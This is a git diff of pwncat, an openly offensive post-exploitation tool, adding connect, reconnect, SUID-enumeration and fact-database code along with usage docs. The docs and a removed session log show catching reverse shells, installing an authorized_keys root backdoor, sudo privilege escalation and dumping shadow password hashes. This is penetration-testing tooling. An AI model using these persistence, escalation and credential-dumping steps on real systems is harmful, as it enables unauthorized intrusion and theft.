diff --git a/docs/source/commands/connect.rst b/docs/source/commands/connect.rst index eb7e798..38b352b 100644 --- a/docs/source/commands/connect.rst +++ b/docs/source/commands/connect.rst @@ -102,3 +102,35 @@ to connect with. If only one of ``--method`` or ``--user`` is specified, all met For example, specifying only ``method`` will cause ``pwncat`` to attempt each user for which that method is installed. On the other hand, specifying only ``--user`` will cause ``pwncat`` to attempt connection with every method which offers persistence as that user. When both are specified, only the exact matching persistence method will be attempted. + +Automated Connection w/ Configuration Script +-------------------------------------------- + +Configuration scripts are expected to be used on an engagement basis. If you have made a connection to victim and have +installed persistence methods, you can add your connect command to your configuration script in order to simply +connection in the future. For example, if you have made a previous connection to the host ``1.1.1.1`` and would like +``pwncat`` to automatically reconnect to that host on startup, you could create a configuration script: + +.. code-block:: bash + :caption: pwncatrc - configuration script + + # Ensure pwncat knows about your database + set db "sqlite:///engagement.sqlite" + + # Automatically attempt reconnection to your host via authorized_keys + # as the root user + connect --reconnnect --host 1.1.1.1 -m authorized_keys -u root + +With this script, ``pwncat`` will attempt to connect to the specified host without any other parameters. This simplifies +the ``pwncat`` command if you intend to connect/reconnect multiple times. + +.. code-block:: bash + :caption: Simplified Reconnection w/ Configuration Script + + $ pwncat -C data/pwncatrc + [+] setting terminal prompt + [+] running in /usr/bin/bash + [+] terminal state synchronized + [+] pwncat is ready 🐈 + + (remote) root@pwncat-centos-testing:~# diff --git a/docs/source/usage.rst b/docs/source/usage.rst index 80dc974..e6b3e3e 100644 --- a/docs/source/usage.rst +++ b/docs/source/usage.rst @@ -33,116 +33,138 @@ press "C-k C-d" and to send "C-k" to the remote terminal, you can press "C-k C-k can be connected with any arbitrary script or local command and can be defined in the configuration file or with the ``bind`` command. -Connecting to a remote host ---------------------------- +Command Line Interface and Start-up Sequence +-------------------------------------------- -To connect to a remote host, the ``connect`` command is used. This command is capable of connecting -to a remote host over a raw socket, SSH or view a previously installed persistence mechanism. It -is also able to listen for reverse connections and initiate a session upon connection. +The ``pwncat`` module installs a main script of the same name as an entry point to ``pwncat``. The +command line parameters to this command are the same as that of the ``connect`` command. During startup, +``pwncat`` will initialize an unconnected ``pwncat.victim`` object. It will then pass all arguments to +the entrypoint on to the ``connect`` command. This command is capable of loading and executing a +configuration script as well as connecting via various methods to a remote victim. -When running ``pwncat``, all program arguments with the exception of the ``--config/-c`` and the -``--help`` arguments are interpreted as local commands which will be executed after the configuration -file is loaded. +If a connection is not established during this initial connect command (for example, if the victim +cannot be contacted or the ``--help`` parameter was specified), ``pwncat`` will then exit. If a +connection *is* established, ``pwncat`` will enter the main Raw mode loop and provide you with +a shell. At the time of writing, the available ``pwncat`` arguments are: -Connecting can happen in your configuration file, from the command identified at command execution -or after startup. If no connection is made from the configuration file or from your command line -arguments, you will be placed in a local ``pwncat`` command prompt. This is a restricted prompt -only allowing local commands to be run. From here, you can start a listener or connect to a remote -host with the ``connect`` command. +.. code-block:: + :caption: pwncat argument help -Here's an example of connecting to a remote bind shell on the host "test-host" on port 4444 immediately -on invocation of ``pwncat``: + usage: pwncat [-h] [--exit] [--config CONFIG] [--listen] [--connect] [--ssh] + [--reconnect] [--list] [--host HOST] [--port PORT] [--method METHOD] + [--user USER] [--password PASSWORD] [--identity IDENTITY] + + Connect to a remote host via SSH, bind/reverse shells or previous persistence methods + installed during past sessions. + + optional arguments: + -h, --help show this help message and exit + --exit Exit if not connection is made + --config CONFIG, -C CONFIG + Path to a configuration script to execute prior to connecting + --listen, -l Listen for an incoming reverse shell + --connect, -c Connect to a remote bind shell + --ssh, -s Connect to a remote ssh server + --reconnect, -r Reconnect to the given host via a persistence method + --list List remote hosts with persistence methods installed + --host HOST, -H HOST Address to listen on or remote host to connect to. For + reconnections, this can be a host hash + --port PORT, -p PORT The port to listen on or connect to + --method METHOD, -m METHOD + The method to user for reconnection + --user USER, -u USER The user to reconnect as; if this is a system method, this + parameter is ignored. + --password PASSWORD, -P PASSWORD + The password for the specified user for SSH connections + --identity IDENTITY, -i IDENTITY + The private key for authentication for SSH connections + + +Connection Methods +------------------ + +``pwncat`` is able to connect to a remote host in a few different ways. At it's core, ``pwncat`` communicates +with a remote shell over a raw socket. This can be either a bind shell or a reverse shell from a remote victim +host. ``pwncat`` also offerst the ability to connect to a remote victim over SSH with a known password or +private key. When connecting via SSH, ``pwncat`` provides the same interface and capabilities as with a +raw bind or reverse shell. + +The last connection method relies on a previous ``pwncat`` session with the victim. If you install a persistence +method which support remote reconnection, ``pwncat`` can utilize this to initiate a new remote shell with the victim +automatically. For example, if you installed authorized keys for a specific user, ``pwncat`` can utilize these to +initiate another SSH session using your persistence. This allows you to easily reconnect in the event of a previous +session being disconnected. + +Fully documentation on the methods and options for these connection methods can be found in the ``connect`` +documentation under the Command Index. A few examples of connections can be found below. + +Connecting to a victim bind shell +--------------------------------- + +In this case, the victim is running a raw bind shell on an open port. The victim must be available at an +address which is routable (e.g. not NAT'd). The ``--connect/-c`` mode provides this capability. .. code-block:: bash + :caption: Connecting to a bind shell at 1.1.1.1:4444 - pwncat connect --connect -H test-host -p 4444 + pwncat --connect -H 1.1.1.1 -p 4444 -Similarly, listening for a reverse shell connection can be similarly accomplished: +Catching a victim reverse shell +------------------------------- + +In this case, the victim was exploited in such a way that they open a connection to your attacking host +on a specific port with a raw shell open on the other end. Your attacking host must be routable from the +victim machine. This mode is accessed via the ``--listen/-l`` option for connect. .. code-block:: bash + :caption: Catching a reverse shell - pwncat connect --listen -H 0.0.0.0 -p 4444 + pwncat --listen -p 4444 -As mentioned above, if no connections are made during initialization, you will be taken to a local -``pwncat`` prompt where you can then execute the ``connect`` command manually: +Connecting to a Remote SSH Server +--------------------------------- + +If you were able to obtain a valid password or private key for a remote user, you can initiate a ``pwncat`` +session with the remote host over SSH. This mode is accessed via the ``--ssh/-s`` option for connect. .. code-block:: bash + :caption: Connection to a remote SSH server w/ Password Auth - $ pwncat - [?] no connection established, entering command mode - - [+] local terminal restored - (local) pwncat$ connect -c -H test-host -p 4444 - [+] connection to A.B.C.D:4444 established - [+] setting terminal prompt - [+] running in /bin/bash - [+] terminal state synchronized - [+] pwncat is ready 🐈 - - (remote) debian@debian-s-1vcpu-1gb-nyc1-01:/home/debian$ - -The last method of connecting is via your configuration file. You can place the ``connect`` command -there in order to not require any arguments. More powerfully, you can place your **reconnect** -command in your configuration file, which will fail the first time you connect to the remote host. -After installing persistence, reconnection will utilize your persistence to gain a shell and you -will no longer need command line parameters. + pwncat -s -H 1.1.1.1 -u root -p "r00t5P@ssw0rd" .. code-block:: bash + :caption: Connection to a remote SSH server w/ Public Key Auth - # your pwncat configuration script - set db "sqlite:///pwncat.sqlite" - connect --reconnect -H test-host + pwncat -s -H 1.1.1.1 -u root -i ./root-private-key + +Reconnecting to a victim +------------------------ + +If you previously had a ``pwncat`` session with a remote host and installed a persistence mechanism, you may +be able to leverage ``pwncat`` to automatically reconnect to the victim host utilizing your persistence +machanism. For this to work, you must specify a configuration file which provides a database for ``pwncat`` +to use. With a configuration file specified, you can use the ``--list`` argument to list known hosts and +their associated persistence methods. .. code-block:: bash + :caption: Listing known host/persistence combinations - # Connect to test-host via reverse shell the first time - $ pwncat -c pwncatrc connect -l -H 0.0.0. -p 4444 - [!] d87b9646813d250ac433decdee70112a: connection failed: no working persistence methods found - [+] connection to A.B.C.D:4444 established - [+] setting terminal prompt - [+] running in /bin/bash - [+] terminal state synchronized - [+] pwncat is ready 🐈 + pwncat -C data/pwncatrc --list + 1.1.1.1 - "centos" - 999c434fe6bd7383f1a6cc10f877644d + - authorized_keys as root - (remote) debian@debian-s-1vcpu-1gb-nyc1-01:/root$ - [+] local terminal restored - (local) pwncat$ privesc -e - [+] privilege escalation succeeded using: - ⮡ shell as root via /bin/bash (sudo NOPASSWD) - [+] pwncat is ready 🐈 +Each host is identified by a host hash as seen above. You can reconnect to a host by either specifying a host +hash or an IP address. If multiple hosts share the same IP address, the first in the database will be selected +if you specify an IP address. Host hashes are unique across hosts. - (remote) root@debian-s-1vcpu-1gb-nyc1-01:~# - [+] local terminal restored - (local) pwncat$ persist -i -m authorized_keys -u root - (local) pwncat$ persist --status - - authorized_keys as root (local) installed - (local) pwncat$ - [+] pwncat is ready 🐈 +.. code-block:: bash + :caption: Reconnecting to a known host - (remote) root@debian-s-1vcpu-1gb-nyc1-01:~# + # Reconnect w/ host hash + pwncat -C data/pwncatrc --reconnect -H 999c434fe6bd7383f1a6cc10f877644d + # Reconnect to first host w/ matching IP + pwncat -C data/pwncatrc --reconnect -H 1.1.1.1 - exit - (remote) debian@debian-s-1vcpu-1gb-nyc1-01:/root$ - (remote) debian@debian-s-1vcpu-1gb-nyc1-01:/root$ +Other options are available to specify methods or users to reconnect with. These options are covered in more detail +in the ``connect`` documentation under the Command Index. - exit - - [+] local terminal restored - - $ pwncat -c data/pwncatrc - [+] setting terminal prompt - [+] running in /bin/bash - [+] terminal state synchronized - [+] pwncat is ready 🐈 - (remote) root@debian-s-1vcpu-1gb-nyc1-01:~# - (remote) root@debian-s-1vcpu-1gb-nyc1-01:~# - [+] local terminal restored - (local) pwncat$ hashdump - root:$6$jmqmNYe9$8GJjU.tV5XWfyFMclJXd0f7TOCEuHbvU9ajD8ZeaVd7y7GGXcb7BfNVV6rR/S6AcmI0W.yzHiXId0EZsYgnQx1 - debian:$6$c5h8DDIk$2bxaEK8C.wCkTwY.z/Z4c48RwdLRL5AE5J6qvPPHCz2vPb2dEeIbwtxkTHHbvTcnh1S/J0e2gPxUiRgT9SiXN/ - (local) pwncat$ - -The first time ``pwncat`` was run, the reconnection command failed. This was expected, since we -had not connected to the remote host yet. After we escalated privileges, and installed persistence, -we were able to re-run ``pwncat`` with no arguments and get a shell. In this case, ``pwncat`` -utilized our installed ssh authorized keys backdoor to gain a session as the root user. \ No newline at end of file diff --git a/pwncat/commands/cache.py b/pwncat/commands/cache.py index e8a62a2..33f2004 100644 --- a/pwncat/commands/cache.py +++ b/pwncat/commands/cache.py @@ -105,6 +105,9 @@ class Command(CommandDefinition): removed.append(binary) pwncat.victim.session.delete(binary) + # This ensures the pwncat.victim.host.binaries array + # is correct and doesn't contain entries which were + # deleted prior to an auto-commit. pwncat.victim.session.commit() pwncat.victim.host = ( pwncat.victim.session.query(pwncat.db.Host) diff --git a/pwncat/commands/connect.py b/pwncat/commands/connect.py index 56afa97..7c94b54 100644 --- a/pwncat/commands/connect.py +++ b/pwncat/commands/connect.py @@ -24,9 +24,6 @@ class Command(CommandDefinition): PROG = "connect" ARGS = { - "--exit": parameter( - Complete.NONE, action="store_true", help="Exit if not connection is made" - ), "--config,-C": parameter( Complete.NONE, help="Path to a configuration script to execute prior to connecting", @@ -120,145 +117,134 @@ class Command(CommandDefinition): self.parser.error(str(exc)) if args.action == "none": + # No action was provided, and no connection was made in the config if pwncat.victim.client is None: self.parser.print_help() return - try: - if args.action == "listen": - if not args.host: - args.host = "0.0.0.0" + if args.action == "listen": + if not args.host: + args.host = "0.0.0.0" - util.progress(f"binding to {args.host}:{args.port}") + util.progress(f"binding to {args.host}:{args.port}") - # Create the socket server - server = socket.create_server((args.host, args.port), reuse_port=True) + # Create the socket server + server = socket.create_server((args.host, args.port), reuse_port=True) + try: + # Wait for a connection + (client, address) = server.accept() + except KeyboardInterrupt: + util.warn(f"aborting listener...") + return + + util.success(f"received connection from {address[0]}:{address[1]}") + pwncat.victim.connect(client) + elif args.action == "connect": + if not args.host: + self.parser.error("host address is required for outbound connections") + + util.progress(f"connecting to {args.host}:{args.port}") + + # Connect to the remote host + client = socket.create_connection((args.host, args.port)) + + util.success(f"connection to {args.host}:{args.port} established") + pwncat.victim.connect(client) + elif args.action == "ssh": + + if not args.port: + args.port = 22 + + if not args.user: + self.parser.error("you must specify a user") + + if not args.password and not args.identity: + self.parser.error("either a password or identity file is required") + + try: + # Connect to the remote host's ssh server + sock = socket.create_connection((args.host, args.port)) + except Exception as exc: + util.error(str(exc)) + return + + # Create a paramiko SSH transport layer around the socket + t = paramiko.Transport(sock) + try: + t.start_client() + except paramiko.SSHException: + sock.close() + util.error("ssh negotiation failed") + return + + if args.identity: try: - # Wait for a connection - (client, address) = server.accept() - except KeyboardInterrupt: - util.warn(f"aborting listener...") - return - - util.success(f"received connection from {address[0]}:{address[1]}") - pwncat.victim.connect(client) - elif args.action == "connect": - if not args.host: - self.parser.error( - "host address is required for outbound connections" - ) - - util.progress(f"connecting to {args.host}:{args.port}") - - # Connect to the remote host - client = socket.create_connection((args.host, args.port)) - - util.success(f"connection to {args.host}:{args.port} established") - pwncat.victim.connect(client) - elif args.action == "ssh": - - if not args.port: - args.port = 22 - - if not args.user: - self.parser.error("you must specify a user") - - if not args.password and not args.identity: - self.parser.error("either a password or identity file is required") + # Load the private key for the user + key = paramiko.RSAKey.from_private_key_file(args.identity) + except: + password = prompt("RSA Private Key Passphrase: ", is_password=True) + key = paramiko.RSAKey.from_private_key_file(args.identity, password) + # Attempt authentication try: - # Connect to the remote host's ssh server - sock = socket.create_connection((args.host, args.port)) - except Exception as exc: - util.error(str(exc)) - return - - # Create a paramiko SSH transport layer around the socket - t = paramiko.Transport(sock) - try: - t.start_client() - except paramiko.SSHException: - sock.close() - util.error("ssh negotiation failed") - return - - if args.identity: - try: - # Load the private key for the user - key = paramiko.RSAKey.from_private_key_file(args.identity) - except: - password = prompt( - "RSA Private Key Passphrase: ", is_password=True - ) - key = paramiko.RSAKey.from_private_key_file( - args.identity, password - ) - - # Attempt authentication - try: - t.auth_publickey(args.user, key) - except paramiko.ssh_exception.AuthenticationException as exc: - util.error(f"authentication failed: {exc}") - else: - try: - t.auth_password(args.user, args.password) - except paramiko.ssh_exception.AuthenticationException as exc: - util.error(f"authentication failed: {exc}") - - if not t.is_authenticated(): - t.close() - sock.close() - return - - # Open an interactive session - chan = t.open_session() - chan.get_pty() - chan.invoke_shell() - - # Initialize the session! - pwncat.victim.connect(chan) - elif args.action == "reconnect": - if not args.host: - self.parser.error( - "host address or hash is required for reconnection" - ) - - try: - addr = ipaddress.ip_address(args.host) - util.progress(f"enumerating persistence methods for {addr}") - host = ( - pwncat.victim.session.query(pwncat.db.Host) - .filter_by(ip=str(addr)) - .first() - ) - if host is None: - util.error(f"{args.host}: not found in database") - return - host_hash = host.hash - except ValueError: - host_hash = args.host - - # Reconnect to the given host - try: - pwncat.victim.reconnect(host_hash, args.method, args.user) - except PersistenceError as exc: - util.error(f"{args.host}: connection failed") - return - elif args.action == "list": - if pwncat.victim.session is not None: - for host in pwncat.victim.session.query(pwncat.db.Host): - if len(host.persistence) == 0: - continue - print( - f"{Fore.MAGENTA}{host.ip}{Fore.RESET} - {Fore.RED}{host.distro}{Fore.RESET} - {Fore.YELLOW}{host.hash}{Fore.RESET}" - ) - for p in host.persistence: - print( - f" - {Fore.BLUE}{p.method}{Fore.RESET} as {Fore.GREEN}{p.user if p.user else 'system'}{Fore.RESET}" - ) + t.auth_publickey(args.user, key) + except paramiko.ssh_exception.AuthenticationException as exc: + util.error(f"authentication failed: {exc}") else: - util.error(f"{args.action}: invalid action") - finally: - if pwncat.victim.client is None and args.exit: - raise SystemExit + try: + t.auth_password(args.user, args.password) + except paramiko.ssh_exception.AuthenticationException as exc: + util.error(f"authentication failed: {exc}") + + if not t.is_authenticated(): + t.close() + sock.close() + return + + # Open an interactive session + chan = t.open_session() + chan.get_pty() + chan.invoke_shell() + + # Initialize the session! + pwncat.victim.connect(chan) + elif args.action == "reconnect": + if not args.host: + self.parser.error("host address or hash is required for reconnection") + + try: + addr = ipaddress.ip_address(args.host) + util.progress(f"enumerating persistence methods for {addr}") + host = ( + pwncat.victim.session.query(pwncat.db.Host) + .filter_by(ip=str(addr)) + .first() + ) + if host is None: + util.error(f"{args.host}: not found in database") + return + host_hash = host.hash + except ValueError: + host_hash = args.host + + # Reconnect to the given host + try: + pwncat.victim.reconnect(host_hash, args.method, args.user) + except PersistenceError as exc: + util.error(f"{args.host}: connection failed") + return + elif args.action == "list": + if pwncat.victim.session is not None: + for host in pwncat.victim.session.query(pwncat.db.Host): + if len(host.persistence) == 0: + continue + print( + f"{Fore.MAGENTA}{host.ip}{Fore.RESET} - {Fore.RED}{host.distro}{Fore.RESET} - {Fore.YELLOW}{host.hash}{Fore.RESET}" + ) + for p in host.persistence: + print( + f" - {Fore.BLUE}{p.method}{Fore.RESET} as {Fore.GREEN}{p.user if p.user else 'system'}{Fore.RESET}" + ) + else: + util.error(f"{args.action}: invalid action") diff --git a/pwncat/commands/enumerate.py b/pwncat/commands/enumerate.py new file mode 100644 index 0000000..53e6c9f --- /dev/null +++ b/pwncat/commands/enumerate.py @@ -0,0 +1,93 @@ +#!/usr/bin/env python3 +from colorama import Fore, Style + +import pwncat +from pwncat.commands.base import ( + CommandDefinition, + Complete, + parameter, + StoreConstOnce, + StoreForAction, +) + + +class Command(CommandDefinition): + """ + Interface with the underlying enumeration module. This provides methods + for enumerating, viewing and clearing cached facts about the victim. + Types of enumeration data include the following options: + + * all - all known enumeration techniques + * common - common useful information + * suid - Set UID binaries on the remote host + * passwords - Known passwords for remote users + * keys - Known private keys found on the remote host + + Other enumeration data may be available which was dynamically registered by + other ``pwncat`` modules. + + """ + + PROG = "enum" + ARGS = { + "--show,-s": parameter( + Complete.NONE, + action=StoreConstOnce, + nargs=0, + dest="action", + const="show", + help="Find and display all facts of the given type", + ), + "--no-enumerate,-n": parameter( + Complete.NONE, + action="store_true", + help="Do not perform actual enumeration; only print already enumerated values", + ), + "--type,-t": parameter( + Complete.NONE, help="The type of enumeration data to query" + ), + "--flush,-f": parameter( + Complete.NONE, + action=StoreConstOnce, + nargs=0, + dest="action", + const="flush", + help="Flush the queried enumeration data from the database", + ), + "--provider,-p": parameter( + Complete.NONE, help="The enumeration provider to filter by" + ), + } + DEFAULTS = {"action": "help"} + + def run(self, args): + + # no arguments prints help + if args.action == "help": + self.parser.print_help() + return + + if not args.type: + args.type = "all" + + if args.action == "show": + self.show_facts(args.type, args.provider) + elif args.action == "flush": + self.flush_facts(args.type, args.provider) + + def show_facts(self, typ: str, provider: str): + """ Display known facts matching the criteria """ + + if typ is not None: + print(f"{Fore.YELLOW}{Style.BRIGHT}{typ.upper()} Facts{Style.RESET_ALL}") + for fact in pwncat.victim.enumerate: + if fact.type != typ: + continue + if provider is not None and fact.source != provider: + continue + print(f" {fact.data} from {fact.source}") + + def flush_facts(self, typ: str, provider: str): + """ Flush all facts that match criteria """ + + pwncat.victim.enumerate.flush(typ, provider) diff --git a/pwncat/db/__init__.py b/pwncat/db/__init__.py index b6bde52..a1979bc 100644 --- a/pwncat/db/__init__.py +++ b/pwncat/db/__init__.py @@ -8,3 +8,4 @@ from pwncat.db.persist import Persistence from pwncat.db.suid import SUID from pwncat.db.tamper import Tamper from pwncat.db.user import User, Group, SecondaryGroupAssociation +from pwncat.db.fact import Fact diff --git a/pwncat/db/fact.py b/pwncat/db/fact.py new file mode 100644 index 0000000..6097777 --- /dev/null +++ b/pwncat/db/fact.py @@ -0,0 +1,21 @@ +#!/usr/bin/env python3 +from sqlalchemy import Column, Integer, ForeignKey, PickleType, UniqueConstraint, String +from sqlalchemy.orm import relationship + +from pwncat.db.base import Base + + +class Fact(Base): + """ Store enumerated facts. The pwncat.enumerate.Fact objects are pickled and + stored in the "data" column. The enumerator is arbitrary, but allows for + organizations based on the source enumerator. """ + + __tablename__ = "facts" + + id = Column(Integer, primary_key=True) + host_id = Column(Integer, ForeignKey("host.id")) + host = relationship("Host", back_populates="facts") + type = Column(String) + source = Column(String) + data = Column(PickleType) + __table_args__ = (UniqueConstraint("type", "data", name="_type_data_uc"),) diff --git a/pwncat/db/host.py b/pwncat/db/host.py index ba598c9..b3f8eab 100644 --- a/pwncat/db/host.py +++ b/pwncat/db/host.py @@ -44,3 +44,5 @@ class Host(Base): # A list of SUID binaries found across all users (may have overlap, and may not be # accessible by the current user). suid = relationship("SUID") + # List of enumerated facts about the remote victim + facts = relationship("Fact") diff --git a/pwncat/enumerate/__init__.py b/pwncat/enumerate/__init__.py new file mode 100644 index 0000000..83216af --- /dev/null +++ b/pwncat/enumerate/__init__.py @@ -0,0 +1,141 @@ +#!/usr/bin/env python3 +import pkgutil +from typing import Generator, Callable, Any + +import pwncat + + +class Fact: + """ + I don't know how to generically represent this yet... + """ + + +class Enumerate: + """ Abstract fact enumeration class for the victim. This abstracts + the process of enumerating different facts from the remote victim. + Facts are identified by their type which is a string. For example, + an enumerator may provide the "suid" type which enumerates SUID + binaries. There may be multiple enumerators which provide the same + type of facts. + + Enumerators are created by creating a module under pwncat/enumerate + which must implement the following: + + * `provides` - a string which indicates the type of facts which this + enumerator provides + * `name` - a string which is a unique name for this enumerator + * `enumerate` - a method which returns a generator yielding all known + new facts for this enumerator. + + """ + + def __init__(self): + + self.enumerators = {} + for loader, module_name, is_pkg in pkgutil.walk_packages(__path__): + enumerator = loader.find_module(module_name).load_module(module_name) + if enumerator.provides not in self.enumerators: + self.enumerators[enumerator.provides] = [] + self.enumerators[enumerator.provides].append(enumerator) + + def iter( + self, typ: str, filter: Callable[[Fact], bool] = None, only_cached=False + ) -> Generator[pwncat.db.Fact, None, None]: + """ + Iterate over facts of the given type. The optional filter argument provides a + way to filter facts based on a lambda function. + + :param typ: the type of facts to return + :param filter: a callable which takes a Fact and returns a boolean indicating + whether to yield this fact. + :return: Generator[Fact, None, None] + """ + + # Yield all known facts + for fact in pwncat.victim.host.facts: + if fact.data is None: + continue + if fact.type == typ: + if filter is not None and not filter(fact): + continue + yield fact + + # If we know of enumerators for this type of fact, we check with them for + # any new matching facts. + if not only_cached and typ in self.enumerators: + for enumerator in self.enumerators[typ]: + for data in enumerator.enumerate(): + fact = self.add_fact(typ, data, enumerator.name) + if fact.data is None: + continue + if filter is not None and not filter(fact): + continue + yield fact + + def __iter__(self): + """ + Iterate over all facts, regardless of the type. + + :return: + """ + yield from pwncat.victim.host.facts + + def add_fact(self, typ: str, data: Any, source: str) -> pwncat.db.Fact: + """ + Register a fact with the fact database. This does not have to come from + an enumerator. It likely didn't. This will be registered in the database + and returned from `iter` after this. + + :param source: a printable description of what generated this fact + :param typ: the type of fact + :param data: type-specific data for this fact. this must be pickle-able + """ + row = pwncat.db.Fact( + host_id=pwncat.victim.host.id, type=typ, data=data, source=source, + ) + pwncat.victim.host.facts.append(row) + pwncat.victim.session.add(row) + pwncat.victim.session.commit() + + return row + + def flush(self, typ: str = None, provider: str = None): + """ + Flush all facts provided by the given provider. + + :param provider: + :return: + """ + + # Delete all matching facts + for fact in pwncat.victim.host.facts: + if typ is not None and fact.type != typ: + continue + if provider is not None and fact.source != provider: + continue + pwncat.victim.session.delete(fact) + + # Reload the host object + pwncat.victim.session.commit() + pwncat.victim.host = ( + pwncat.victim.session.query(pwncat.db.Host) + .filter_by(id=pwncat.victim.host.id) + .first() + ) + + def exist(self, typ: str, provider: str = None) -> bool: + """ + Test whether any facts with the given type exist in the database. + + :param typ: the type of facts to look for + :return: boolean, whether any facts exist for this type + """ + + for row in pwncat.victim.host.facts: + if row.type == typ: + if provider is not None and provider != row.source: + continue + return True + + return False diff --git a/pwncat/enumerate/suid.py b/pwncat/enumerate/suid.py new file mode 100644 index 0000000..07e88b7 --- /dev/null +++ b/pwncat/enumerate/suid.py @@ -0,0 +1,91 @@ +#!/usr/bin/env python3 +import dataclasses +import os +from typing import Generator + +from colorama import Fore + +import pwncat +from pwncat import util + +name = "pwncat.enumerate.suid" +provides = "suid" + + +@dataclasses.dataclass +class Binary: + """ + A generic description of a SUID binary + """ + + path: str + """ The path to the binary """ + uid: int + """ The owner of the binary """ + + def __str__(self): + return f"{Fore.YELLOW}{self.path}{Fore.RESET} owned by {Fore.GREEN}{self.owner.name}{Fore.RESET}" + + @property + def description(self) -> str: + return str(self) + + @property + def owner(self): + return pwncat.victim.find_user_by_id(self.uid) + + +def enumerate() -> Generator[Binary, None, None]: + """ + Enumerate all new Set UID binaries. These are turned into facts by pwncat.victim.enumerate + which can be generically retrieved with pwncat.victim.enumerate.iter("suid"). This also + inserts a dummy-fact named "suid-searched-{uid}" to indicate we have already searched for + SUID binaries as a given user. + + :return: Generator[Binary, None, None] + """ + + current_user = pwncat.victim.current_user + + # We've already enumerated this user + if pwncat.victim.enumerate.exist( + f"suid", provider=f"suid-searched-{current_user.id}" + ): + return + + # Add the fact indicating we already searched for SUID binaries + pwncat.victim.enumerate.add_fact(f"suid", None, f"suid-searched-{current_user.id}") + + # Spawn a find command to locate the setuid binaries + with pwncat.victim.subprocess( + "find / -perm -4000 -printf '%U %p\\n' 2>/dev/null", mode="r", no_job=True + ) as stream: + util.progress("searching for setuid binaries") + for path in stream: + # Parse out owner ID and path + path = path.strip().decode("utf-8").split(" ") + uid, path = int(path[0]), " ".join(path[1:]) + + # Print status message + util.progress( + ( + f"searching for setuid binaries as {Fore.GREEN}{current_user.name}{Fore.RESET}: " + f"{Fore.CYAN}{os.path.basename(path)}{Fore.RESET}" + ) + ) + + # Check if we already know about this SUID binary from a different search + # This will only searched the cached database entries and not end up being + # recursive. + try: + next( + pwncat.victim.enumerate.iter( + "suid", only_cached=True, filter=lambda f: f.data.path == path, + ) + ) + except StopIteration: + pass + else: + continue + + yield Binary(path, uid) diff --git a/pwncat/privesc/__init__.py b/pwncat/privesc/__init__.py index 784e988..95bbfee 100644 --- a/pwncat/privesc/__init__.py +++ b/pwncat/privesc/__init__.py @@ -295,7 +295,7 @@ class Finder: pwncat.victim.reset() # Check that we actually succeeded - current = pwncat.victim.whoami() + current = pwncat.victim.update_user() if current == technique.user or ( technique.user == pwncat.victim.config["backdoor_user"] @@ -680,7 +680,7 @@ class Finder: if persist.escalate(target_user): # The method thought it worked, but didn't appear to - if pwncat.victim.whoami() != target_user: + if pwncat.victim.update_user() != target_user: if pwncat.victim.getenv("SHLVL") != shlvl: pwncat.victim.run("exit", wait=False) continue @@ -704,25 +704,13 @@ class Finder: except PrivescError: pass - if ( - target_user == "root" - and pwncat.victim.config["backdoor_user"] in techniques - ): - try: - tech, exit_command = self.escalate_single( - techniques[pwncat.victim.config["backdoor_user"]], shlvl - ) - chain.append((tech, exit_command)) - return chain - except PrivescError: - pass - # Try to escalate directly to the target if possible if target_user in techniques: try: tech, exit_command = self.escalate_single( techniques[target_user], shlvl ) + pwncat.victim.update_user() chain.append((tech, exit_command)) return chain except PrivescError: @@ -737,7 +725,7 @@ class Finder: f"checking local persistence implants: {persist.format(user)}" ) if persist.escalate(user): - if pwncat.victim.whoami() != user: + if pwncat.victim.update_user() != user: if pwncat.victim.getenv("SHLVL") != shlvl: pwncat.victim.run("exit", wait=False) continue diff --git a/pwncat/privesc/setuid.py b/pwncat/privesc/setuid.py index 16b5e22..88ca52c 100644 --- a/pwncat/privesc/setuid.py +++ b/pwncat/privesc/setuid.py @@ -74,23 +74,18 @@ class SetuidMethod(Method): """ Find all techniques known at this time """ # Update the cache for the current user - self.find_suid() + # self.find_suid() known_techniques = [] - for suid in pwncat.victim.host.suid: + for suid in pwncat.victim.enumerate.iter("suid"): try: - binary = pwncat.victim.gtfo.find_binary(suid.path, caps) + binary = pwncat.victim.gtfo.find_binary(suid.data.path, caps) except BinaryNotFound: continue - for method in binary.iter_methods(suid.path, caps, Stream.ANY): + for method in binary.iter_methods(suid.data.path, caps, Stream.ANY): known_techniques.append( - Technique( - pwncat.victim.find_user_by_id(suid.owner_id).name, - self, - method, - method.cap, - ) + Technique(suid.data.owner.name, self, method, method.cap,) ) return known_techniques diff --git a/pwncat/remote/victim.py b/pwncat/remote/victim.py index 8df41c6..0a54d9b 100644 --- a/pwncat/remote/victim.py +++ b/pwncat/remote/victim.py @@ -25,6 +25,7 @@ from pwncat.gtfobins import GTFOBins, Capability, Stream from pwncat.remote import RemoteService from pwncat.tamper import Tamper, TamperManager from pwncat.util import State +import pwncat.enumerate def remove_busybox_tamper(): @@ -137,12 +138,17 @@ class Victim: self.privesc: privesc.Finder = None # Persistence manager self.persist: persist.Persistence = persist.Persistence() + # The enumeration manager + self.enumerate: pwncat.enumerate.Enumerate = pwncat.enumerate.Enumerate() # Database engine self.engine: Engine = None # Database session self.session: Session = None # The host object as seen by the database self.host: pwncat.db.Host = None + # The current user. This is cached while at the `pwncat` prompt + # and reloaded whenever returning from RAW mode. + self.cached_user: str = None def reconnect( self, hostid: str, requested_method: str = None, requested_user: str = None @@ -622,16 +628,19 @@ class Victim: if binding.strip().startswith("pass"): self.client.send(data) binding = binding.lstrip("pass") + else: + self.restore_local_term() + sys.stdout.write("\n") - self.restore_local_term() - sys.stdout.write("\n") + # Update the current user + self.update_user() - # Evaluate the script - self.command_parser.eval(binding, "") + # Evaluate the script + self.command_parser.eval(binding, "") - self.flush_output() - self.client.send(b"\n") - self.saved_term_state = util.enter_raw_mode() + self.flush_output() + self.client.send(b"\n") + self.saved_term_state = util.enter_raw_mode() except KeyError: pass @@ -686,6 +695,8 @@ class Victim: self._state = State.COMMAND # Hopefully this fixes weird cursor position issues util.success("local terminal restored") + # Reload the current user name + self.update_user() # Setting the state to local command mode does not return until # command processing is complete. self.command_parser.run() @@ -696,6 +707,8 @@ class Victim: self._state = State.SINGLE # Hopefully this fixes weird cursor position issues sys.stdout.write("\n") + # Update the current user + self.update_user() # Setting the state to local command mode does not return until # command processing is complete. self.command_parser.run_single() @@ -1500,8 +1513,15 @@ class Victim: :return: str, the current user name """ - result = self.run("whoami") - return result.strip().decode("utf-8") + return self.cached_user + + def update_user(self): + """ + Requery the current user + :return: the current user + """ + self.cached_user = self.run("whoami").strip().decode("utf-8") + return self.cached_user def getenv(self, name: str): """